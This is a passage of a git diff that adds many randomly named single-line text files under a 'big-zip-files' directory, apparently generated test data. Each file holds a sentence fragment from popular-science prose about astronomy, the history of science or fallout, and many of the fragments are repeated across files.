+++ b/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/lyrfvhdvqgjurrkqfdvzifp.txt
@@ -0,0 +1 @@
+and was Master of the Mint, where he devoted his energies to the suppression of counterfeit
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/mllkfwcgdydnvrwgs.txt b/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/mllkfwcgdydnvrwgs.txt
new file mode 100644
index 0000000..e1687f1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/mllkfwcgdydnvrwgs.txt
@@ -0,0 +1 @@
+years until, quite by accident, some of them strike the Earth, and our hereditary material.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/mpoqjiyikzkcdjdtd.txt b/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/mpoqjiyikzkcdjdtd.txt
new file mode 100644
index 0000000..669149c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/mpoqjiyikzkcdjdtd.txt
@@ -0,0 +1 @@
+Europeans around the turn of the century generally believed in privileged frames of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/npwuybiblyweiec.txt b/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/npwuybiblyweiec.txt
new file mode 100644
index 0000000..026c25b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/npwuybiblyweiec.txt
@@ -0,0 +1 @@
+Euclid produced a textbook on geometry from which humans learned for twenty-three
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/oiericqvgqjpfy.txt b/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/oiericqvgqjpfy.txt
new file mode 100644
index 0000000..32f96a9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/oiericqvgqjpfy.txt
@@ -0,0 +1 @@
+constructions. If Lowell’s canal network really existed, the conclusion that intelligent
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/povyvuwc.txt b/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/povyvuwc.txt
new file mode 100644
index 0000000..6a1311f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/povyvuwc.txt
@@ -0,0 +1 @@
+On Venus, on Earth and elsewhere in the solar system, there is evidence for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/qopvodlmpdxzguetnjzylsn.txt b/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/qopvodlmpdxzguetnjzylsn.txt
new file mode 100644
index 0000000..dd338d5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/qopvodlmpdxzguetnjzylsn.txt
@@ -0,0 +1 @@
+moons, asteroids, comets and circumplanetary rings in the solar system once freely
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/siwcqhftzipcvfripxgpvm.txt b/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/siwcqhftzipcvfripxgpvm.txt
new file mode 100644
index 0000000..dfd95cc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/siwcqhftzipcvfripxgpvm.txt
@@ -0,0 +1 @@
+If, on our computer, we were to run Orion rapidly into the far future, we would see a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/wkszagrmpn.txt b/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/wkszagrmpn.txt
new file mode 100644
index 0000000..edc4683
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/wkszagrmpn.txt
@@ -0,0 +1 @@
+innovations. Why not India, an extremely rich, mathematically gifted culture? Because,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/zpguhzxddurwtlmk.txt b/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/zpguhzxddurwtlmk.txt
new file mode 100644
index 0000000..1afc784
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/zpguhzxddurwtlmk.txt
@@ -0,0 +1 @@
+many ways influenced the content of this book. The delight I found in our many
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/file_bymlxgsscj.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/file_bymlxgsscj.txt
new file mode 100644
index 0000000..498a02c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hjqtcpwxby/file_bymlxgsscj.txt
@@ -0,0 +1 @@
+concentrated in their bones, and the radioactive iodine was concentrated in their thyroids.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/file_dvrlzpiguadycnxlou.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/file_dvrlzpiguadycnxlou.txt
new file mode 100644
index 0000000..498a02c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hjqtcpwxby/file_dvrlzpiguadycnxlou.txt
@@ -0,0 +1 @@
+concentrated in their bones, and the radioactive iodine was concentrated in their thyroids.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/file_eowujsqdboubuqt.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/file_eowujsqdboubuqt.txt
new file mode 100644
index 0000000..498a02c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hjqtcpwxby/file_eowujsqdboubuqt.txt
@@ -0,0 +1 @@
+concentrated in their bones, and the radioactive iodine was concentrated in their thyroids.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/file_fhutxebovzgvtbwdffdwk.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/file_fhutxebovzgvtbwdffdwk.txt
new file mode 100644
index 0000000..498a02c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hjqtcpwxby/file_fhutxebovzgvtbwdffdwk.txt
@@ -0,0 +1 @@
+concentrated in their bones, and the radioactive iodine was concentrated in their thyroids.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/file_fkucnacveyaxfvsw.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/file_fkucnacveyaxfvsw.txt
new file mode 100644
index 0000000..498a02c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hjqtcpwxby/file_fkucnacveyaxfvsw.txt
@@ -0,0 +1 @@
+concentrated in their bones, and the radioactive iodine was concentrated in their thyroids.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/file_gjqcsxzz.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/file_gjqcsxzz.txt
new file mode 100644
index 0000000..498a02c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hjqtcpwxby/file_gjqcsxzz.txt
@@ -0,0 +1 @@
+concentrated in their bones, and the radioactive iodine was concentrated in their thyroids.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/file_herxufiqukbrdptnvd.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/file_herxufiqukbrdptnvd.txt
new file mode 100644
index 0000000..498a02c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hjqtcpwxby/file_herxufiqukbrdptnvd.txt
@@ -0,0 +1 @@
+concentrated in their bones, and the radioactive iodine was concentrated in their thyroids.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/file_ikuzbpgiltbwndrnul.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/file_ikuzbpgiltbwndrnul.txt
new file mode 100644
index 0000000..498a02c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hjqtcpwxby/file_ikuzbpgiltbwndrnul.txt
@@ -0,0 +1 @@
+concentrated in their bones, and the radioactive iodine was concentrated in their thyroids.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/file_ivsjsbgaolv.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/file_ivsjsbgaolv.txt
new file mode 100644
index 0000000..498a02c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hjqtcpwxby/file_ivsjsbgaolv.txt
@@ -0,0 +1 @@
+concentrated in their bones, and the radioactive iodine was concentrated in their thyroids.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/file_jwfjivysqhvwzhfoqfnn.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/file_jwfjivysqhvwzhfoqfnn.txt
new file mode 100644
index 0000000..498a02c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hjqtcpwxby/file_jwfjivysqhvwzhfoqfnn.txt
@@ -0,0 +1 @@
+concentrated in their bones, and the radioactive iodine was concentrated in their thyroids.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/file_kgxozvjbcqwr.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/file_kgxozvjbcqwr.txt
new file mode 100644
index 0000000..498a02c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hjqtcpwxby/file_kgxozvjbcqwr.txt
@@ -0,0 +1 @@
+concentrated in their bones, and the radioactive iodine was concentrated in their thyroids.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/file_pmuhvzxsecmm.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/file_pmuhvzxsecmm.txt
new file mode 100644
index 0000000..498a02c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hjqtcpwxby/file_pmuhvzxsecmm.txt
@@ -0,0 +1 @@
+concentrated in their bones, and the radioactive iodine was concentrated in their thyroids.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/file_svipspqrydzdgmujjvb.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/file_svipspqrydzdgmujjvb.txt
new file mode 100644
index 0000000..498a02c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hjqtcpwxby/file_svipspqrydzdgmujjvb.txt
@@ -0,0 +1 @@
+concentrated in their bones, and the radioactive iodine was concentrated in their thyroids.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/file_uddprhwcmdmjvaxcgesdiws.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/file_uddprhwcmdmjvaxcgesdiws.txt
new file mode 100644
index 0000000..498a02c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hjqtcpwxby/file_uddprhwcmdmjvaxcgesdiws.txt
@@ -0,0 +1 @@
+concentrated in their bones, and the radioactive iodine was concentrated in their thyroids.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/file_wpxmvkbjqqe.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/file_wpxmvkbjqqe.txt
new file mode 100644
index 0000000..498a02c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hjqtcpwxby/file_wpxmvkbjqqe.txt
@@ -0,0 +1 @@
+concentrated in their bones, and the radioactive iodine was concentrated in their thyroids.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/file_xawfztnmouxqpqdiu.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/file_xawfztnmouxqpqdiu.txt
new file mode 100644
index 0000000..498a02c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hjqtcpwxby/file_xawfztnmouxqpqdiu.txt
@@ -0,0 +1 @@
+concentrated in their bones, and the radioactive iodine was concentrated in their thyroids.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/file_xdmcehcyoybnfxienqsvjze.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/file_xdmcehcyoybnfxienqsvjze.txt
new file mode 100644
index 0000000..498a02c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hjqtcpwxby/file_xdmcehcyoybnfxienqsvjze.txt
@@ -0,0 +1 @@
+concentrated in their bones, and the radioactive iodine was concentrated in their thyroids.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/file_xlhcwvzbdvdbbhngjkwvv.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/file_xlhcwvzbdvdbbhngjkwvv.txt
new file mode 100644
index 0000000..498a02c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hjqtcpwxby/file_xlhcwvzbdvdbbhngjkwvv.txt
@@ -0,0 +1 @@
+concentrated in their bones, and the radioactive iodine was concentrated in their thyroids.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/file_xtrlcfawzaoxk.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/file_xtrlcfawzaoxk.txt
new file mode 100644
index 0000000..498a02c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hjqtcpwxby/file_xtrlcfawzaoxk.txt
@@ -0,0 +1 @@
+concentrated in their bones, and the radioactive iodine was concentrated in their thyroids.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/file_yaovtkagde.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/file_yaovtkagde.txt
new file mode 100644
index 0000000..498a02c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hjqtcpwxby/file_yaovtkagde.txt
@@ -0,0 +1 @@
+concentrated in their bones, and the radioactive iodine was concentrated in their thyroids.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/file_yghuktfr.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/file_yghuktfr.txt
new file mode 100644
index 0000000..498a02c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hjqtcpwxby/file_yghuktfr.txt
@@ -0,0 +1 @@
+concentrated in their bones, and the radioactive iodine was concentrated in their thyroids.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/file_yspqrglfwwkjkjpakkkcy.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/file_yspqrglfwwkjkjpakkkcy.txt
new file mode 100644
index 0000000..498a02c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hjqtcpwxby/file_yspqrglfwwkjkjpakkkcy.txt
@@ -0,0 +1 @@
+concentrated in their bones, and the radioactive iodine was concentrated in their thyroids.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/file_yuwhzyfijudcx.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/file_yuwhzyfijudcx.txt
new file mode 100644
index 0000000..498a02c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hjqtcpwxby/file_yuwhzyfijudcx.txt
@@ -0,0 +1 @@
+concentrated in their bones, and the radioactive iodine was concentrated in their thyroids.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/file_zawogesrlzkupb.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/file_zawogesrlzkupb.txt
new file mode 100644
index 0000000..498a02c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hjqtcpwxby/file_zawogesrlzkupb.txt
@@ -0,0 +1 @@
+concentrated in their bones, and the radioactive iodine was concentrated in their thyroids.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/file_cqqzamczmgkavztmyeia.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/file_cqqzamczmgkavztmyeia.txt
new file mode 100644
index 0000000..05a7fbd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/file_cqqzamczmgkavztmyeia.txt
@@ -0,0 +1 @@
+nonsense.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/file_efrqgnoczq.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/file_efrqgnoczq.txt
new file mode 100644
index 0000000..05a7fbd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/file_efrqgnoczq.txt
@@ -0,0 +1 @@
+nonsense.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/file_ejgpqrfiuov.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/file_ejgpqrfiuov.txt
new file mode 100644
index 0000000..05a7fbd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/file_ejgpqrfiuov.txt
@@ -0,0 +1 @@
+nonsense.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/file_erwzlfpsfriogorahoqxgup.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/file_erwzlfpsfriogorahoqxgup.txt
new file mode 100644
index 0000000..05a7fbd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/file_erwzlfpsfriogorahoqxgup.txt
@@ -0,0 +1 @@
+nonsense.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/file_fahkkizatfpqrkfyyid.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/file_fahkkizatfpqrkfyyid.txt
new file mode 100644
index 0000000..05a7fbd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/file_fahkkizatfpqrkfyyid.txt
@@ -0,0 +1 @@
+nonsense.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/file_fswhhrvwfvvvde.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/file_fswhhrvwfvvvde.txt
new file mode 100644
index 0000000..05a7fbd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/file_fswhhrvwfvvvde.txt
@@ -0,0 +1 @@
+nonsense.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/file_gczczcbij.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/file_gczczcbij.txt
new file mode 100644
index 0000000..05a7fbd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/file_gczczcbij.txt
@@ -0,0 +1 @@
+nonsense.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/file_gqzxnyuxplrkdgjgvtylnhza.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/file_gqzxnyuxplrkdgjgvtylnhza.txt
new file mode 100644
index 0000000..05a7fbd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/file_gqzxnyuxplrkdgjgvtylnhza.txt
@@ -0,0 +1 @@
+nonsense.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/file_grohzyrgeytubxbdpnr.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/file_grohzyrgeytubxbdpnr.txt
new file mode 100644
index 0000000..05a7fbd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/file_grohzyrgeytubxbdpnr.txt
@@ -0,0 +1 @@
+nonsense.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/file_ikphvowgqhvmspxus.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/file_ikphvowgqhvmspxus.txt
new file mode 100644
index 0000000..05a7fbd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/file_ikphvowgqhvmspxus.txt
@@ -0,0 +1 @@
+nonsense.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/file_kjzfgljzbxsekboewppsjb.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/file_kjzfgljzbxsekboewppsjb.txt
new file mode 100644
index 0000000..05a7fbd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/file_kjzfgljzbxsekboewppsjb.txt
@@ -0,0 +1 @@
+nonsense.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/file_kmqdyvpwjt.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/file_kmqdyvpwjt.txt
new file mode 100644
index 0000000..05a7fbd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/file_kmqdyvpwjt.txt
@@ -0,0 +1 @@
+nonsense.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/file_liczchfzdnnezqblzut.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/file_liczchfzdnnezqblzut.txt
new file mode 100644
index 0000000..05a7fbd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/file_liczchfzdnnezqblzut.txt
@@ -0,0 +1 @@
+nonsense.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/file_othipxxohca.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/file_othipxxohca.txt
new file mode 100644
index 0000000..05a7fbd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/file_othipxxohca.txt
@@ -0,0 +1 @@
+nonsense.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/file_pgpdmtkkhtmdztwcwaqicmm.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/file_pgpdmtkkhtmdztwcwaqicmm.txt
new file mode 100644
index 0000000..05a7fbd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/file_pgpdmtkkhtmdztwcwaqicmm.txt
@@ -0,0 +1 @@
+nonsense.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/file_rizdmhzkpdfmgibyaajrmdr.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/file_rizdmhzkpdfmgibyaajrmdr.txt
new file mode 100644
index 0000000..05a7fbd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/file_rizdmhzkpdfmgibyaajrmdr.txt
@@ -0,0 +1 @@
+nonsense.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/file_rldjvynhhqy.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/file_rldjvynhhqy.txt
new file mode 100644
index 0000000..05a7fbd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/file_rldjvynhhqy.txt
@@ -0,0 +1 @@
+nonsense.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/file_txtlswplhqqgzgmfuyxxidx.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/file_txtlswplhqqgzgmfuyxxidx.txt
new file mode 100644
index 0000000..05a7fbd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/file_txtlswplhqqgzgmfuyxxidx.txt
@@ -0,0 +1 @@
+nonsense.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/file_vtcpchohkanzxgc.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/file_vtcpchohkanzxgc.txt
new file mode 100644
index 0000000..05a7fbd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/file_vtcpchohkanzxgc.txt
@@ -0,0 +1 @@
+nonsense.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/file_vvauijkmlxfpiiwockdnzsz.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/file_vvauijkmlxfpiiwockdnzsz.txt
new file mode 100644
index 0000000..05a7fbd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/file_vvauijkmlxfpiiwockdnzsz.txt
@@ -0,0 +1 @@
+nonsense.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/file_wiwphcjdonhkxraxqzn.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/file_wiwphcjdonhkxraxqzn.txt
new file mode 100644
index 0000000..05a7fbd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/file_wiwphcjdonhkxraxqzn.txt
@@ -0,0 +1 @@
+nonsense.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/file_wmotxufpaqgvtkyni.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/file_wmotxufpaqgvtkyni.txt
new file mode 100644
index 0000000..05a7fbd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/file_wmotxufpaqgvtkyni.txt
@@ -0,0 +1 @@
+nonsense.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/file_wxbqtaqioxksia.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/file_wxbqtaqioxksia.txt
new file mode 100644
index 0000000..05a7fbd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/file_wxbqtaqioxksia.txt
@@ -0,0 +1 @@
+nonsense.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/file_bmjjbemollpcy.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/file_bmjjbemollpcy.txt
new file mode 100644
index 0000000..1dbed97
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/file_bmjjbemollpcy.txt
@@ -0,0 +1 @@
+particular manifestation of life has been unsuccessful or ambiguous. The blues have been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/file_dotcusrw.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/file_dotcusrw.txt
new file mode 100644
index 0000000..1dbed97
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/file_dotcusrw.txt
@@ -0,0 +1 @@
+particular manifestation of life has been unsuccessful or ambiguous. The blues have been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/file_duznvnbgzgwplofbeij.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/file_duznvnbgzgwplofbeij.txt
new file mode 100644
index 0000000..1dbed97
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/file_duznvnbgzgwplofbeij.txt
@@ -0,0 +1 @@
+particular manifestation of life has been unsuccessful or ambiguous. The blues have been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/file_fpwtoeodosbpbpmpdmrjegnp.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/file_fpwtoeodosbpbpmpdmrjegnp.txt
new file mode 100644
index 0000000..1dbed97
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/file_fpwtoeodosbpbpmpdmrjegnp.txt
@@ -0,0 +1 @@
+particular manifestation of life has been unsuccessful or ambiguous. The blues have been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/file_hhdqbuzkdwnbxp.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/file_hhdqbuzkdwnbxp.txt
new file mode 100644
index 0000000..1dbed97
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/file_hhdqbuzkdwnbxp.txt
@@ -0,0 +1 @@
+particular manifestation of life has been unsuccessful or ambiguous. The blues have been
\ No newline at end of file
